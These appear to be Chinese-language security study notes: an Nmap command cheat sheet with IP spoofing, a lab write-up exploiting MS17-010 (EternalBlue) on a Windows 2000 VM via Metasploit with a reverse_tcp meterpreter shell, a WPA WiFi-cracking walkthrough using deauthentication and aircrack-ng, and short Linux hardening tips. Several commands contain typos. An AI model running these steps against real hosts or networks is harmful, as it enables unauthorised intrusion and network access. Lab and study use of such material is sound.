Nmap使用笔记

Nmap使用方法笔记

进行Ping扫描

nmap -sP <IP>

扫描主机但不进行端口扫描

nmap -sn <IP>

使用ACK探测主机的存活

nmap -sA <IP>

半开放扫描

nmap -sS <IP>

注意:TCP连接时需要3次握手 而-sS则不需要3次握手

TCP扫描(3次握手)

nmap -sT <IP>

检测主机和端口运行的软件的版本号

nmap -sV <IP>

发送FIN的数据包

nmap -sF <IP>

扫描UDP端口

nmap -sU <IP>

扫描常用的端口

nmap –top-ports 5 <IP>

伪装IP进行扫描

nmap -e eth0 <IP> -S <IP> -Pn

注意:eth0是网卡 必须指定网卡和-Pn这个参数才可以伪装

指定扫描范围

nmap -p <范围> <IP>

注意:端口范围 1-65535(百度有)

扫描端口列表

nmap -p <端口1,端口2,端口3….> <IP>

操作系统检测

nmap -O <IP>

扫描Android机

nmap -A <IP>

作者:男将

 

 

记录一次系统渗透测试

环境:VM虚拟机 + Kali Linux系统 + 渗透测试系统 Window2000

目标 Window 2000 :192.168.171.150 192.168.171.2

nmap一波

信息如下:

Starting Nmap 7.70 ( https://nmap.org ) at 2018-12-10 13:37 CST
Nmap scan report for 192.168.171.150
Host is up (0.0028s latency).
Not shown: 996 closed ports
PORT STATE SERVICE
135/tcp open msrpc
139/tcp open netbios-ssn
445/tcp open microsoft-ds
1025/tcp open NFS-or-IIS
MAC Address: 00:0C:29:6F:65:9F (VMware)

Host script results:
| smb-vuln-ms08-067:
| VULNERABLE:
| Microsoft Windows system vulnerable to remote code execution (MS08-067)
| State: VULNERABLE
| IDs: CVE:CVE-2008-4250
| The Server service in Microsoft Windows 2000 SP4, XP SP2 and SP3, Server 2003 SP1 and SP2,
| Vista Gold and SP1, Server 2008, and 7 Pre-Beta allows remote attackers to execute arbitrary
| code via a crafted RPC request that triggers the overflow during path canonicalization.
|
| Disclosure date: 2008-10-23
| References:
| https://technet.microsoft.com/en-us/library/security/ms08-067.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2008-4250
|_smb-vuln-ms10-054: false
|_smb-vuln-ms10-061: ERROR: Script execution failed (use -d to debug)
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143

Nmap done: 1 IP address (1 host up) scanned in 31.08 seconds

Metasploit Framework

漏洞: smb-vuln-ms17-010

搜索相关漏洞:search ms17-010

auxiliary/admin/smb/ms17_010_command

auxiliary/scanner/smb/smb_ms17_010

exploit/windows/smb/ms17_010_eternalblue

exploit/windows/smb/ms17_010_eternalblue_win8

exploit/windows/smb/ms17_010_psexec

设置常用攻击载荷

set payload windows/meterpreter/reverse_tcp

显示信息

show options

设置本机IP

set LHOST 192.168.171.149

exploit开始渗透

渗透成功

getuid确认权限

系统级权限,无需提权:Server username: NT AUTHORITY\SYSTEM

作者:男将

Kali破解WiFi密码

环境:VM虚拟机安装Kali Linux系统

工具:网卡

查看是否插入网卡

wconfig

如果出现wlan0代表网卡存在

注:如果没有wlan0 需要在VM虚拟机的菜单设置里 找到  虚拟机 > 可移动设备(D) > 网卡名称 > 连接(断开与主机的连接)(C) 然后再次输入wconfig即可看到wlan0

开启网卡

airmon-ng start wlan0

iwconfig

开启监听模式

airdump-ng wlan0mon

找到BSSID和CN(信道)

我的BSSID

E4:F3:F5:C9:A9:B4

信道

2

开启抓包

airdump-ng -c 2 –bssid E4:F3:F5:C9:A9:B4 -w /root wlan0mon

获取到WPA handshake则抓包成功 如果没有WPA handshake就开新的窗口攻击wifi直到出现WPA handshake

aireplay-ng -0 0 -a E4:F3:F5:C9:A9:B4 wlan0mon

开始破解wifi密码  需要密码字典 因为论坛限制了文件的大小 所以需要密码字典的可以百度

aircrack-ng -w wifi.txt root-03.cap

注:wifi.txt是密码字典 抓到包的文件 后缀为.cap

 

作者:男将

linux安全概论

0x01

linux服务器有可能被恶意扫描信息,例如nmap扫描信息等,这时候可以使用iptables等工具来实现防御

0x02

linux服务器的漏洞扫描防范手段主要是攻防结合,定时使用Metasploit进行检测和漏洞的补丁安装

0x03

攻击者拿到webshell的情况下可能会利用系统运维人员的一些疏忽,来进行提升权限等行为,这时候需要用sudo命令进行集权管理,防止没有必要的权限泛滥

0x04

php禁用eval函数,防止一句话木马的入侵